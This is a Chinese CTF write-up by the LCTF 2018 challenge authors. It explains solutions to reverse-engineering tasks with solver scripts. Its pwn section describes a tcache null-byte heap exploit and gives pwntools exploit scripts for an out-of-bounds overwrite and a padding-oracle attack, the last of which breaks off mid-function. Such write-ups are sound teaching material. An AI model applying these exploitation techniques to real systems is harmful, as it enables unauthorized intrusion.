LCTF 2018 Writeup (Part III)

Re

拿去签到吧朋友 [11 solved]

首先我的代码写得很辣鸡,因为这方面而给各位逆向带来不便之处请谅解。给出源码,编译参数:gcc src.c src2.c des.c -masm=intel -std=c99 -s -o easyre
出题人一开始脑子进水了,忘记输入顺序不同形成的二叉排序树可能是一样的。所以在第一次加密验证了前18位flag,第二次加密验证了后18位flag。
逻辑大致为输入36位flag,生成二叉排序树,然后先序遍历,DES加密过后,与一个矩阵作运算,然后验证。
第二次是后序遍历,按位取反操作。因为简单,所以加了smc。
实现了一些简单的反调试,为了不让解题者patch这段代码,于是把反调试的机器码用于smc的解密数据,并放在反调试代码里面,事实上有些队伍确实没看到这段代码,直接爆破去解密代码。事实上把检测进程的名字patch掉(很多队伍这么做)绕过反调。IDApython直接解密加密代码,纯静态逆向就行了。有队伍没看出DES加密,直接逆,真是orz了。不得不佩服,不过出题人都说了没有坑嘛,我这么诚实。
解矩阵

        des = []
        mat2 = [[23,65,24,78,43,56],
            [59,67,21,43,45,76],
            [23,54,76,12,65,43],
            [89,40,32,67,73,57],
            [23,45,31,54,31,52],
            [13,24,54,65,34,24]
            ]
        enc = [[43666,49158,43029,51488,53397,51921],
            [28676,39740,26785,41665,35675,40629],
            [32311,31394,20373,41796,33452,35840],
            [17195,29175,29485,28278,28833,28468],
            [46181,58369,44855,56018,57225,60666],
            [25981,26680,24526,38780,29172,30110]]
    
        des_str = ""
        C=dot(enc,linalg.inv(mat2))
        #print C
        for i in range(0,6):
            for j in range(0,6):
                des.append(int(round(C[i][j])))
        #print des
        for i in range(len(des)):
            if len(hex(des[i])[2:]) == 2:
                des_str += hex(des[i])[2:]
            else:
                des_str += '0'+ hex(des[i])[2:]
        print des_str + hex(0x73)[2:] + hex(0x3C)[2:] + hex(0xF5)[2:] + hex(0x7C)[2:]

直接找网站在线解密得

LC-+)=1234@AFETRS{the^VYXZfislrvxyz}

对应一下为

LCTF{this-RevlrSE=

第二个加密

x = [ 124, 129, 97, 153, 103, 155, 20, 234, 104, 135,
    16, 236, 22, 249, 7, 242, 15, 243, 3, 244,
    51, 207, 39, 198, 38, 195, 61, 208, 44, 210,
    35, 222, 40, 209, 1, 230]
for i in xrange(36):
    for j in xrange(0, 8, 2):
        x[i] ^= (1 << (j + i % 2))

解得

)+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL

对应一下为

^V1@Y+)fAxyzXZ234}

所以

LCTF{this-RevlrSE=^V1@Y+)fAxyzXZ234}

easy_vm [19 solved]

from Aurora

603080开始是三段bytecode

sub_4009D2函数分三次对三段bytecode操作,sub_401722和sub_4017C2是对寄存器的赋值与还原,中间的sub_401502函数是操作函数,详细分析bytecode,可以得出它的操作过程:

1.计算输入长度,校验是否等于0x1C

2.将输入的每一位ch进行如下操作:

ch=((ch*0x3f)+0x78)%0x80

3.与常量校验

把flag爆破出来就行了

a=[0x3E,0x1A,0x56,0x0D,0x52,0x13,0x58,0x5A,0x6E,0x5C,0x0F,0x5A,0x46,0x07,0x09,0x52,0x25,0x5C,0x4C,0x0A,0x0A,0x56,0x33,0x40,0x15,0x07,0x58,0x0F]
a.reverse()
b=[]
for i in range(28):
    b.append(0)

for i in range(28):
    for j in range(0x7F):
        if ((j *0x3f)+0x7B)%0x80==a[i]:
            b[i]=j
s=''
for i in range(28):
    s+=chr(b[i])
    print(s)

lctf{He11o_Virtual_Machine!}

想起「Qt」 [4 solved]

如同题目描述,这个程序复现的是Enigma密码机。对信号槽的复现可以在signal.cpp中找到,我主要参考了boost库的any容器,其实就是OOP+变参模板而已。但是这套复现没有什么意义,绝大部分的代码都可以直接使用C++17标准库中的std::mem_fun来完成...

有两种解法:

  1. Enigma是单字节替换密码,直接逐位爆破即可获得Flag
  2. 对程序逆向,分析出齿轮数目,齿轮关系,反射板映射...然后反向操作得到Flag

这两种解法都是正规解,因为出题人自己觉得验证题目好麻烦。

Pizza的爆破脚本:

qt-flag

其实完全可以把齿轮关系弄的复杂一点的,比如一个齿轮一次带动2个齿轮运行,反射板也会旋转,这样就无法爆破了...然而出题人自己数学不好,并不知道如何保证表达式可逆...

想起「 Lunatic Game 」 [13 solved]

送分题,C编写的小游戏,是个扫雷。10×10的格子里面有50个雷,基本上没人能完成。

只有Flag的输出使用了Haskell进行混淆,其他的逻辑没有任何约束。

可行的解法:

  1. 找到判断胜负的jmp跳转,翻转它,这样GameOVer的时候就可以得到Falg
  2. 在OD/x64dbg中进行第一条的操作,会更快速
  3. srand(time(NULL))patch成srand(int),这样雷的位置就是固定的了
  4. 任何想得到的解法,因为题目没有任何GetFlag的约束,所以全部作弊方案都是可行的

想起「湖中的大银河 ~ Lunatic」 [6 solved]

这是一道坑逼题,所以文件名称是maze(迷宫)。坑点在Copy-Constructor(拷贝构造函数)中。

程序的流程非常简单,CBC模式的分组加密,但是在这个流程中会对Message和Key分别进行一次拷贝,触发拷贝构造函数。在拷贝构造函数中,除了进行必要的数据复制外,还额外的执行了一次this->map(X)操作。

具体的流程可以查看题目源代码,以及源码目录下的Check.py文件,完整的叙述了反向解密的流程。

除了坑点外,还要处理C++的继承和只能指针。但是:分组加密的加密盒是XOR表达式,你可以直接逐位爆破...这是最快的方式,也是非预期解法。出题人决定好好复习密码课本...

b2w [3 solved]

0x00 WP

项目源码:https://github.com/yeonzi/badappe_oscilloscope/tree/lctf2018

IDA打开:main函数大体注释如下(代码位置src/main.c)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+0h] [rbp-100h]
  __int64 v5; // [rsp+8h] [rbp-F8h]
  unsigned int (__fastcall *v6)(unsigned int); // [rsp+10h] [rbp-F0h]
  int v7; // [rsp+98h] [rbp-68h]
  char s; // [rsp+B0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+F8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  dword_605268 = 45;                    //这个是整个程序处理的图片数,下一个for循环用到的
  fwrite("Do Processing Workflow On Each Frame.\n", 1uLL, 0x26uLL, stdout);
  v6 = sub_403539;      //设置SIGALRM信号,其实这个处理函数只是回显当前处理的图片数,对结果没什么影响
  v7 = 0x10000000;
  sigaction(14, (const struct sigaction *)&v6, 0LL);
  alarm(3u);
  v4 = sub_401ADD(2LL, 48000LL, (unsigned int)(2000 * dword_605268));
                        //为一个wav文件分配空间
  for ( dword_60526C = 1; dword_60526C <= dword_605268; ++dword_60526C )
  {
    sprintf(&s, "./flag/%02d_pad.bmp", (unsigned int)dword_60526C, v4);
    fprintf(stdout, "Processing %d frame", (unsigned int)dword_60526C);
    v5 = sub_402806(&s);  //读取一个bmp文件,v5是图片文件的结构体,保存了宽、高、通道数、RGB数据等信息
    if ( !dword_605270 )
    {
      dword_605270 = *(_DWORD *)(v5 + 4);
      dword_605274 = *(_DWORD *)(v5 + 8);
      dword_605278 = 12 * dword_605270 * dword_605274;
    }                       //读取图片的宽和高
    fprintf(stdout, "%02d BMP Read Done\n", (unsigned int)dword_60526C);
    sub_400E66(v5);         // 图片二值化 src/image_binary.c
    fwrite("Edge Detecting...\n", 1uLL, 0x12uLL, stdout);
    sub_400F38(v5, 1LL);    // 图片边缘检测 src/edge_detect.c
    sub_400E66(v5);         // 再一次二值化
    fwrite("Path Generating...\n", 1uLL, 0x13uLL, stdout);
    sub_402C7F(v5, v4, (unsigned int)(dword_60526C - 1));
    sub_403878(v5);         //释放图片缓存
  }
  raise(14);
  fwrite("\nProcess end.\n", 1uLL, 0xEuLL, stdout);
  fwrite("\nSaving.\n", 1uLL, 9uLL, stdout);
  sub_401C6D(v4, "./out.wav");  //保存wav文件
  sub_401C16(v4);               //释放wav缓存
  return 0LL;
}

其中 400E66二值化的处理过程为:

  • 取图片每个像素的三个通道,根据公式 Y = 0.299*R + 0.587*G + 0.114*B 计算,并将Y写回素的三个通道
  • 求灰度化后图片的均值
  • 大于均值的写入255,小于的写入0

下一步是边缘检测(400F38),我感觉这里printf了一个Edge Detecting很人性化了(逃

边缘检测用到的是canny算子,402C42是一个取图片对应像素的函数,参数2是x,参数3是y

最后一步是生成波形数据,注释如下(代码位置:src/path.c: gen_path)

__int64 __fastcall sub_402C7F(__int64 a1, __int64 a2, int a3) //a1:bmp图片 a2:为波形分配的空间 a3:当前处理的是第几张图片
{
  signed int v3; // ST54_4
  float v4; // xmm2_4
  float v5; // xmm3_4
  int v7; // [rsp+Ch] [rbp-64h]
  int i; // [rsp+28h] [rbp-48h]
  int v9; // [rsp+28h] [rbp-48h]
  int m; // [rsp+2Ch] [rbp-44h]
  int n; // [rsp+2Ch] [rbp-44h]
  int l; // [rsp+30h] [rbp-40h]
  signed int v13; // [rsp+34h] [rbp-3Ch]
  signed int ii; // [rsp+38h] [rbp-38h]
  int v15; // [rsp+3Ch] [rbp-34h]
  int v16; // [rsp+40h] [rbp-30h]
  int v17; // [rsp+44h] [rbp-2Ch]
  int j; // [rsp+48h] [rbp-28h]
  int k; // [rsp+4Ch] [rbp-24h]
  float v20; // [rsp+60h] [rbp-10h]
  float v21; // [rsp+64h] [rbp-Ch]

  v7 = a3;
  v13 = 0;
  if ( !dword_605218 )
  {
    dword_605218 = *(_DWORD *)(a1 + 4) * *(_DWORD *)(a1 + 8);   //605218 = image.width * image.height
    qword_605220 = (__int64)malloc(4LL * dword_605218);
    qword_605228 = (__int64)malloc(4LL * dword_605218);
    qword_605230 = (__int64)malloc(4LL * dword_605218);
    qword_605238 = (__int64)malloc(4LL * dword_605218);
    qword_605240 = (__int64)malloc(4LL * dword_605218);
    qword_605248 = (__int64)malloc(4LL * dword_605218);
    qword_605250 = (__int64)malloc(0x1F40uLL);
    qword_605258 = (__int64)malloc(0x1F40uLL);
  }
  for ( i = dword_605218 - 1; i >= 0; --i )
    *(_DWORD *)(4LL * i + qword_605238) = 0;                //初始化
  v9 = 0;
  for ( j = 1; *(_DWORD *)(a1 + 4) > j; ++j )
  {
    for ( k = 1; *(_DWORD *)(a1 + 8) > k; ++k )
    {
      if ( *(float *)sub_402C42(a1, j, k) > 128.0 )
      {
    *(_DWORD *)(qword_605220 + 4LL * v9) = j;
    *(_DWORD *)(qword_605228 + 4LL * v9) = k;
    *(_DWORD *)(4LL * v9 + qword_605230) = 0x10000;
    *(_DWORD *)(4LL * v9++ + qword_605238) = 1;     //标记数组,用于标记当前点是否已被选取
      }
    }
  }                     //遍历图像中每个像素,若该像素大于128(即之前检测到的边缘点)则保存其x,y值
                        //遍历完后v9保存的为图像中边缘点的总数
  for ( l = v9; l > 0; --l )
  {
    for ( m = 0; m < v9; ++m )
    {
      if ( *(_DWORD *)(4LL * m + qword_605238) == 1 )
      {
    v3 = abs(*(_DWORD *)(4LL * m + qword_605220) - dword_605260);
    v4 = (float)(signed int)abs(*(_DWORD *)(4LL * m + qword_605228) - dword_605264);
    v5 = sqrt((float)((float)(v4 * v4) + (float)((float)v3 * (float)v3)));
    *(_DWORD *)(qword_605230 + 4LL * m) = (signed int)v5;
      }
    }                   //这段代码对第一个循环中选取的点计算与其他所有点之间的距离保存到605230中
    v16 = *(_DWORD *)(a1 + 4) + *(_DWORD *)(a1 + 8);
    v17 = 0;
    for ( n = 0; n < v9; ++n )
    {
      if ( *(_DWORD *)(4LL * n + qword_605238) == 1 && *(_DWORD *)(4LL * n + qword_605230) < v16 )
      {
    v16 = *(_DWORD *)(4LL * n + qword_605230);
    v17 = n;
      }
    }                   //取最小的点
    *(_DWORD *)(qword_605240 + 4LL * v13) = *(_DWORD *)(4LL * v17 + qword_605220);
    *(_DWORD *)(qword_605248 + 4LL * v13) = *(_DWORD *)(4LL * v17 + qword_605228);
                            //605240和605248记录所有已被选取的点,分别记录点在图像中的x和y坐标
    *(_DWORD *)(4LL * v17 + qword_605238) = 0;      //该点已被选取,标记数组置0
    dword_605260 = *(_DWORD *)(4LL * v17 + qword_605220);
    dword_605264 = *(_DWORD *)(4LL * v17 + qword_605228);
    ++v13;
  }
  v20 = (float)v13 / (float)2000;
  v21 = 65535.0 / (float)*(signed int *)(a1 + 4);   //缩放比例,这里的源码被一位师傅指出有误orz
  v15 = 2000 * v7;
  for ( ii = 0; ii < 2000; ++ii )
  {
    *(_WORD *)(**(_QWORD **)(a2 + 16) + 2LL * v15) = (signed int)(float)((float)(*(_DWORD *)(4LL
                                               * (signed int)(float)((float)ii * v20)
                                               + qword_605240)
                                           - *(_DWORD *)(a1 + 4) / 2)
                                       * v21);
    *(_WORD *)(*(_QWORD *)(*(_QWORD *)(a2 + 16) + 8LL) + 2LL * v15++) = (signed int)(float)((float)(*(_DWORD *)(4LL * (signed int)(float)((float)ii * v20) + qword_605248)
                                                  - *(_DWORD *)(a1 + 8) / 2)
                                              * v21);
                //将刚刚记录x和y值的数组数据写入wav文件缓存,注意这里分别写入了wav文件的两个声道
                //分别写入的值是x-img.width和y-img.height
  }
  return 0LL;
}

可以大概分析出这里的代码将之前图片的边缘点提取出来并分别保存了从某个点开始,每次选取最近点后的结果

最后分析写入wav文件的函数

代码位置:src/wave.c: wave_save.c

signed __int64 __fastcall sub_401C6D(__int64 a1, const char *a2)
{
  signed __int64 result; // rax
  int j; // [rsp+10h] [rbp-A0h]
  int i; // [rsp+14h] [rbp-9Ch]
  int v5; // [rsp+18h] [rbp-98h]
  int v6; // [rsp+20h] [rbp-90h]
  int v7; // [rsp+24h] [rbp-8Ch]
  unsigned __int64 v8; // [rsp+30h] [rbp-80h]
  FILE *s; // [rsp+38h] [rbp-78h]
  int ptr; // [rsp+40h] [rbp-70h]
  int v11; // [rsp+44h] [rbp-6Ch]
  int v12; // [rsp+48h] [rbp-68h]
  int v13; // [rsp+50h] [rbp-60h]
  int v14; // [rsp+54h] [rbp-5Ch]
  __int16 v15; // [rsp+58h] [rbp-58h]
  __int16 v16; // [rsp+5Ah] [rbp-56h]
  int v17; // [rsp+5Ch] [rbp-54h]
  int v18; // [rsp+60h] [rbp-50h]
  __int16 v19; // [rsp+64h] [rbp-4Ch]
  unsigned __int16 v20; // [rsp+66h] [rbp-4Ah]
  char v21[8]; // [rsp+70h] [rbp-40h]
  unsigned __int64 v22; // [rsp+A8h] [rbp-8h]

  v22 = __readfsqword(0x28u);
  strcpy(v21, "LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}");
  s = fopen(a2, "wb");
  if ( s )
  {
    ptr = 'FFIR';
    v11 = 2 * (*(_DWORD *)(a1 + 8) * *(_DWORD *)a1 + 18);
    v12 = 'EVAW';
    fwrite(&ptr, 0xCuLL, 1uLL, s);
    v13 = ' tmf';
    v14 = 16;
    v15 = 1;
    v16 = *(_DWORD *)a1;
    v17 = *(_DWORD *)(a1 + 4);
    v19 = 4;
    v20 = 16;
    v18 = 2 * v17;
    fwrite(&v13, 0x18uLL, 1uLL, s);
    v6 = 'atad';
    v7 = *(_DWORD *)(a1 + 8) * *(_DWORD *)a1 * (v20 >> 3);
    fwrite(&v6, 8uLL, 1uLL, s);         //写入wav文件的头部信息
    v5 = strlen(v21);
    v8 = 0LL;
    for ( i = 0; *(_DWORD *)(a1 + 8) > i; ++i )
    {
      for ( j = 0; *(_DWORD *)a1 > j; ++j )
      {
    *(_WORD *)(*(_QWORD *)(8LL * j + *(_QWORD *)(a1 + 16)) + 2LL * i) = 257 * v21[v8 % v5] ^ *(_WORD *)(2LL * i + *(_QWORD *)(8LL * j + *(_QWORD *)(a1 + 16))); 
    fwrite((const void *)(*(_QWORD *)(8LL * j + *(_QWORD *)(a1 + 16)) + 2LL * i), 2uLL, 1uLL, s);
        //将刚刚得到的x和y数据与LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}异或后写入波形文件
    v8 += v21[v8 % v5];
      }
    }
    fclose(s);
    result = 0LL;
  }
  else
  {
    perror("Cannot open wav file");
    result = 0xFFFFFFFFLL;
  }
  return result;
}

所以大概可以知道题目所给的wav文件是对记录flag的图片进行边缘检测后提取出轮廓信息,并将轮廓的x和y信息记录到wav文件的两个声道中

到这里可能很多师傅已经猜到这个程序大概可以用来干嘛了,很多人应该看过b站上有一些将音频输出到示波器上播放图片或视频,这程序就是用来做这个的

最后附上keygen,这里的keygen还原图片时有个需要确定的变量就是wav一共包含了几张图片,留意到main函数中主循环一共循环了45次,所以就是45张图

import wave
import math
import numpy as np
import matplotlib.pyplot as pl
from matplotlib import animation
import time
import random

filename = "out"
filename += ".wav"

try:
    fp = wave.open(filename,"rb")
except Exception as err:
        print(err)
        exit(0)

param = fp.getparams()
nchannels,sampwidth,framerate,nframes = param[:4]
print "WAV param"
print "channels = %d, sampwidth = %d, framerate = %d, nframes = %d, compname = %s" % ( nchannels,sampwidth,framerate,nframes,param[4] )
fp_data = fp.readframes(nframes)
fp.close()

wave_data = np.fromstring(fp_data,dtype=np.short)
wave_data.shape = -1, 2

wave_data = wave_data.T
frame = len(wave_data[0])/45

encode = "LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}"
code_len = len(encode)
tmp = 0
for i in xrange(len(wave_data[0])):
    for j in xrange(2):
        tmp_a = ord(encode[tmp%code_len])
        tmp_b = tmp_a*256 + tmp_a
        #print tmp_b
        wave_data[j][i] ^= tmp_b
        tmp += tmp_a        
n = 0
fig = pl.figure()
pic = fig.add_subplot(111)
line, = pic.plot(wave_data[1][n*frame:(n+1)*frame], wave_data[0][n*frame:(n+1)*frame],marker = ".")
line.set_marker(".")
def animate(i):
    time.sleep(0.5)
    line.set_ydata(wave_data[0][i*frame:(i+1)*frame])
    line.set_xdata(wave_data[1][i*frame:(i+1)*frame])
    return line,
def init():
    pic.set_xlim(-30000,30000)
    pic.set_ylim(-30000,30000)
ani = animation.FuncAnimation(fig=fig, func=animate, init_func = init ,frames=1000)
pl.show()

0x01 后记

emmm。。。这次LCTF其实是我第一次给一个正式的比赛出题,经验不足也出了很多失误,望各位师傅谅解。各位师傅能做我的题真的很荣幸,也让我学到很多

这道题其实原本是我跟一位学长做示波器播放badapple的源码(大多数代码是学长写的),代码在同项目的master(最早的)和nen9mA0(修了一些bug)两个branch下

  • PS:代码运行比较慢,瞎写的没做什么优化

出题的时候突然有个想法拿这个来出道逆向,因为以前似乎没见过类似的,思路也会比较有趣

本来觉得逆向这一大段程序逻辑本身就是题目难度就不小,因为里面有很多(不明所以的)循环,内存分配还有对图片分辨率和音频码率之类的计算,所以就没有加入太多逆向题常见的混淆/反调/编码之类的东西

最后保存波形进行的异或运算也只是为了防止有哪位师傅脑洞比较大加上之前看过这种操作直接把音频放到软件里得到flag做的一点混淆

不过真的还是有大手子很快就逆出整个逻辑并得到了flag orz,让我自己逆这道应该是做不出来的

此外,感谢redbud一位大师傅指出了path.c里的一个bug orz

最后我在这道个歉,这题我出完以后脑子瓦特了没有叫学长把repo关掉 = =,是的有师傅搜字符串搜到了源码orz(虽然是最早的那版。。。lctf的源码我赛后才push的,但原repo主要逻辑都有了),为了公平起见后来也就没有关掉repo了。这是个非常严重的失误,再次跟各位道歉

~~出题人为了谢罪已经戴上了假发= =(没有女装!)~~

MSP430 [6 solved]

0x00 WP

项目源码:https://github.com/LCTF/LCTF2018/tree/master/Source/MSP430

这题主要思想就是实现一个类似于硬件加密器的东西,MSP430板子通过串口接收需要加密的字串,进行RC4加密后通过串口返回结果。

不知道为什么用IDA 7.0载入.out文件会有解析问题,用6.8载入虽然报错但可以看到代码

题目保留了符号表,因此可以大概确定是使用RC4对输入进行加密,密钥生成是用keygen函数进行的

压缩包中给了一张接线图,其实原本是因为RC4的密钥生成代码如下

char key[]="LCTF0000";
int keygen(char *key)
{
    unsigned char tmp = 0;
    P2DIR &= ~(BIT0 + BIT1 + BIT2 + BIT3 + BIT4 + BIT5);
    P2REN |= (BIT0 + BIT1 + BIT2 + BIT3 + BIT4 + BIT5);
    tmp = P2IN;

    key[4] = tmp * 3;
    key[5] = tmp << 1;
    key[6] = tmp & 0x74;
    key[7] = tmp + 0x50;
}

tmp是从芯片的P2 IO口读入IO口的电平,以此为种子做一些运算生成密钥的后四位

图片中可以看到P2.0、P2.4和P2.3接了GND(sorry我发现P2.0那条线接GND还是VCC没拍清楚 = =)

所以tmp的值是 0010 0110 (P2DIR和P2REN中设置了P2的0~5位为输入,默认高电平)

不过其实大体框架逆完后这个字节是可以直接爆破的

爆破脚本如下,来自Aurora战队:

from Crypto.Cipher import ARC4

cipher ="2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade".decode("hex")
for i in xrange(0x100):
    k4 = (i * 3) & 0xFF
    k5 = (i * 2) & 0xFF
    k6 = ((i & 0x74) * 2) & 0xFF
    k7 = (i + 0x50) & 0xFF
    key = "LCTF" + chr(k4) + chr(k5) + chr(k6) + chr(k7)
    arc4 = ARC4.new(key)
    plain = arc4.decrypt(cipher)
    if(plain.find("CTF") != -1):
        print(plain)
        

当然四位全爆破也是没问题的

0x01 后记

这题其实一开始没打算写的,但现在很多ctf都会有一题不同架构硬件的逆向,刚好以前也做过一点相关的开发,就出了一题。MSP430这个系列的芯片在现实中应用还是比较广的,但ctf似乎很少出过。

很多师傅都感觉有点简单了,主要还是因为压缩包里的.out文件有符号表

当时感觉题放的比较晚而且还是个在ctf中比较陌生的架构,因此我没把符号表去掉

结果被师傅们刷爆了 orz

其实这题出的时候还是有很多失误的。。。比如写之前没有拖到IDA里看看,写完才发现这个.out文件在IDA 7.0是会有解析错误的,在IDA 6.8虽然能打开,但还是会报错,包括该款芯片的cfg文件不管是IDA目录下还是github我都没找到

其实原本是想只给一个hex文件和两张图,但考虑到时间,还有CCS编译完后的hex似乎加了一些地址信息导致不能直接用hex2bin转换固件,因此最后给了.out文件

最后,出题人打算这两天看看载入MSP430 hex文件到IDA的正确方法,写完了还更到这个repo(咕咕咕警告)

Pwn

easy_heap [17 solved]

题目保护全开,在malloc的时候存在null-by-one漏洞,由于分配的堆块的大小都是0x100(加堆头),所以null-by-one漏洞只会覆盖下个堆块的prev_inuse标志位为0。一般的利用思路是通过伪造prev_size的大小来构造overlap-chunk为所欲为,但是这种思路在这道题目里行不通,因为malloc在读取内容的时候‘\0’会截断而且堆块大小是0x100。

由于题目给的库是libc2.27,引入了tcache机制,tcache在分配完其中的7个堆块后如果再次分配,它会先从unsortedbin中把和要分配的堆块大小相同的堆块全部以单链表形式链入tcache的链表里然后再分配出来,如果unsortedbin中有三个及以上符合大小的堆块,当并入tcache时,你会发现中间的堆块其fd->bk以及bk->fd仍然指向它自身,利用点就是在这里,题目中恰好设置了堆块为0x100对齐,所以分配出来的堆块内容如果什么都不输那么它的“\0”终止符不会影响fd指针,在将中间的堆块重新malloc出来利用nullbyone漏洞修改下个堆块的previnuse位为0,然后填满tcache后free掉下个堆块,那么他就会和前面的堆块合并形成overlap-chunk,接下来泄漏libc地址,修改malloc_hook为one_gadget就能getshell了。

思路来自hitcon划水时的发现~

pwn4fun [7 solved]

出题人其实一开始是想弄个破产版三国杀,然后搞几个角色,吕布不是有个技能叫无双吗,一张杀要打两张闪,然后想从这里先搞个double free,再开始操作。但当自己写的时候深深感觉到了代码实现能力的不足,就成了这个鬼样子(不过一开始的版本是有malloc跟free的)。所以,你题目描述里写到我可能应该要把这题放到misc里完全是实话,问卷调查里也有师傅反映这题不应该放在pwn分类下,所以你看,出题人还是挺老实的。

但不知道是什么原因,这道题的解居然还没tcache的heap题多,不知道是不是宣传不到位还是什么别的原因。漏洞点在当你需要连弃两张手牌的时候,第二次可以输入负数,能越界覆盖文件指针fl4gflag,而存储attck卡片跟guard卡片刚好能提供a、g,所以可以利用sl大法,刷到1.attack 2.guard的开局,然后卖血丢牌即可。如果你操作得当并且运气够好还可以获得一个4字节的格式化字符串的机会(真的有赢过的师傅),但不会影响解题:)

程序在打开文件之前会对该字符串进行检验,在源代码里是这样写的:

    int k = 233;
    f[0] *= k;
    while(k != 240)
    {
        if(f[0] % 2) 
        {
            f[0] = 3 * f[0] + 1;
            k = k * 6;
        }
        else 
        {
            f[0] /= 2;
            k = (k + 39) % 666;
        }
    }
    f[0] += 126;
    k = 233;
    f[2] *= k;
    while(k != 144)
    {
        if(f[2] % 2) 
        {
            f[2] = 3 * f[2] + 1;
            k = k * 6;
        }
        else 
        {
            f[2] /= 2;
            k = (k + 39) % 666;
        }
    }
    f[2] = (-45 * f[2] + 865)/13;
    k = 233;
    f[3] *= k;
    while(k != 240)
    {
        if(f[3] % 2) 
        {
            f[3] = 3 * f[3] + 1;
            k = k * 6;
        }
        else 
        {
            f[3] /= 2;
            k = (k + 39) % 666;
        }
    }
    f[3] += 102;

这其实不是原样返回输出的操作。如果熟悉3x+1的师傅应该能看出来这是一个防篡改的校验,对于每一个不同的字符都会生成一个特定的k路径,如果字符发生改变,会变成死循环或者最后的输出完全改变,一开始是想让flgp经过这个流程后变成flag,但是又担心太过脑洞,于是成了最后的flag ->flagf[2] = (-45 * f[2] + 865)/13f[2]4或者a时刚好都等于自己本身。不过由于只是一个char,完全可以逐个爆破路径找到输出是flag的字符串。

因为是名字叫4fun,所以其实手打比脚本编写要简单,最后只需要再覆盖一次循环变量就能得到flag。

附上测试的exp:

from pwn import *

def interact(p):
    while True:
        print "Input"
        tmp = raw_input()
        if "q" not in tmp:
            p.sendline(tmp)
            print("sendline %s") % (tmp)
            print p.recv(timeout=100)
        else:
            break

p = process("./s")
print p.recvuntil("start game\n")
print p.send("\n")
print p.recvuntil("(U)p?\n")
print p.sendline("I")
str = 'admin'+ '\x00'*4
print p.sendline(str)
print p.recvuntil("nothing\n")
print p.sendline("1")
print p.recvuntil("Pass\n")
interact(p)
print p.sendline(str)
p.interactive()

just_pwn [6 solved]

前言

向各位做过我的题目的师傅道歉,自己出的题目漏洞太多了。(PS:这个笨蛋第一次出题,而且是最后几天熬夜上线的,没来得及向协会师傅们请教,还请多海涵)

思路

这个题目是一位师傅给了思路让我出的,他的意思大体是以下三关:

  • 第一关:最开始的认证是CBC模式(没错,是web的),要用padding oracle进行攻击,通过修改上传的密文来使程序解密出另一种明文,攻击成功之后能让他获得程序的基地址信息。
  • 第二关:师傅要我借鉴网鼎杯的Impossible的循环递归抬高栈顶,获得canary和ebp(这两个内存是连续的)
  • 第三关:House of Spirit控制程序流

而具体我是这么写的:

  • 第一关使之修改明文中的guest_account,不然money不够无法使用某些程序。
  • 第二关因为money最大值有限,所以抬高栈顶的函数因为价格只允许运行两次,第一次获得canary和ebp,第二次获得程序基址(这两部分会因为ebp开头的\0而分隔开。)
  • 第三关剩下的前只够使用一次push message函数,就在这里进行hos

具体实现

第一关

我看了所有做出来的人,没有一个是完全按照我的思路做的,原因是因为自己有相当明显的漏洞,而且自己也没有明显的指向性的提示)
做出来的人主要有两种解法:

  • patch程序,因为我把明文放进程序里了,所以只要将程序里guest_account:0004;guestname:user改成guest_account:9999;guestname:user,又因为自己以time为种子初始化随机数。所以在一定时间差运行patch的程序和远程程序,patch的程序就会给出同样种子的随机数加密修改后的明文,向远程程序发送即可。做出来的六个队伍中有三个是这么做的。
  • time(0) 做随机数种⼦的硬伤,这种解法也是利用了这种漏洞,但是另外三个队是直接怼算法。
    总结:应该读取/dev/random或/dev/urandom文件,(明明自己看了网鼎杯的Impossible,竟然没有想到这一点。)
  • padding oracle

这种攻击方式请先看这篇文章,这个文章讲的相当详细,我再说就是画蛇添足了。

我的plaintext分为三组:

  • plaintext0:"guest_account:00"
  • plaintext1:"04;guestname:use"
  • plaintext2:"r\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"

密文的格式:iv=+hex后的iv+;CipherLen=+hex后的密文长度+;CipherText=+密文+;
Sign up之后可以得到iv(程序中是固定的)和密文(对应明文将之分为三组):

  • iv
  • Cipherpart0
  • Cipherpart1
  • Cipherpart2

约定:

  • 修改后的iviv_
  • 修改后的Cipherpart0Cipherpart0_
  • 加密函数为key(),解密函数为invkey()

首先要通过修改Cipherpart0Cipherpart0_来异或invkey(Cipherpart1),使解密后的plaintext1中的0499。这里不用padding oracle来获得invkey(Cipherpart1)的值,直接使Cipherpart0plaintext1异或即可。

这部分过程如下

  from pwn import *
  just_pwn = process('./just_pwn')

  def getCipher():
      Cipher = ''
      just_pwn.sendlineafter("3.Exit\n","1");
      just_pwn.recvuntil("These is your secretcode:\n");
      recv = just_pwn.recvline().replace('\n','')
      Cipher = recv.split('=')[3][:-1]
      just_pwn.sendline("2");
      return Cipher

  def setDecryption(string, orinDecrypiton, BeforeXorList):
      newDecryption = ""
      for i in range(0, 16):
          newDecryption += hex(BeforeXorList[i]^ord(string[i]))[2:].upper().rjust(2,'0')
      return newDecryption

  Cipher = getCipher()
  just_pwn.recvuntil("3.Exit\n");
  iv = '31323334353637386162636465666768'
  Cipherpart0 = Cipher[0:32]
  Cipherpart1 = Cipher[32:64]
  Cipherpart2 = Cipher[64:96]

  list1 = [] #list1里的内容是invkey(Cipherpart1)
  for i in range(0,16):
      list1.append(ord("04;guestname:use"[i]) ^ int(Cipherpart0[2*i:2*(i+1)],16))
  Cipherpart0 =  setDecryption("99;guestname:use", list1);

然后因为我们修改了Cipherpart0Cipherpart0_,所以invkey(Cipherpart0)也相应地变为了invkey(Cipherpart0_),这时候就应用padding oracle攻击,获得invkey(Cipherpart0_)值。再将invkey(Cipherpart0_)与想要的明文"guest_account:99"异或,就能得到iv的值了。

这部分过程如下:

  def isLegal():
    just_pwn.recvline()
    recv = just_pwn.recvline().replace('\n','')
    if(recv == 'Your secret code is broken.'):
        return 1
    elif(recv == 'No access.'):
        #print '###'+recv+'###'
        return 2
    else:
        return 0
  def nListToXorstr(numberList, padding):
      if numberList == []:
          return ''
      string = '';
      for i in numberList:
          string = string + hex(i^padding)[2:].upper().rjust(2,'0')
      return string

  def padding_oracle(head, needtest, rear):
    List_beforeXor = []
